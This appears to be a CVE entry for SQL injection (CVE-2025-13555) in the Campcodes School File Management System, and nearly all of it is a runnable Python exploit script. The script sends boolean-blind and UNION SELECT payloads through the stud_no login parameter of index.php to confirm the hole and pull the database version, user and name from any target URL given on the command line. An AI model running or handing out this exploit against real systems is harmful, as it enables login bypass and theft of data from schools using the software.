CVE-2025-13555 | Campcodes School File Management System SQL注入漏洞

import requests import sys # CVE-2025-13555 PoC - Campcodes School File Management System SQL Injection # Target: /index.php Login component, stud_no parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in stud_no parameter Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response from the server """ target = f"{target_url.rstrip('/')}/index.php" # Login form data with injected payload in stud_no parameter data = { 'stud_no': payload, 'submit': 'Login' } try: response = requests.post(target, data=data, timeout=10, verify=False) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_boolean_blind_injection(target_url): """ Test for boolean-based blind SQL injection """ # Original request (should return true) true_payload = "1' OR '1'='1" # Modified request (should return false) false_payload = "1' AND '1'='2" print("[*] Testing boolean-based blind SQL injection...") resp_true = exploit_sqli(target_url, true_payload) resp_false = exploit_sqli(target_url, false_payload) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Blind SQL injection confirmed!") return True print("[-] Could not confirm SQL injection") return False def extract_database_info(target_url): """ Extract database version information using UNION-based injection """ # Payload to extract database version payload = "1' UNION SELECT NULL,version(),user(),database()-- -" print("[*] Extracting database information...") response = exploit_sqli(target_url, payload) if response and response.status_code == 200: print("[+] Response received - check for database info in response") return response.text return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/school") sys.exit(1) target_url = sys.argv[1] print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-13555 - Campcodes School File Management System SQL Injection") # Step 1: Test for SQL injection if test_boolean_blind_injection(target_url): print("[+] SQL injection vulnerability confirmed!") # Step 2: Extract database information extract_database_info(target_url) print("[*] Exploitation complete") else: print("[-] Vulnerability not found or target is not vulnerable") if __name__ == "__main__": main()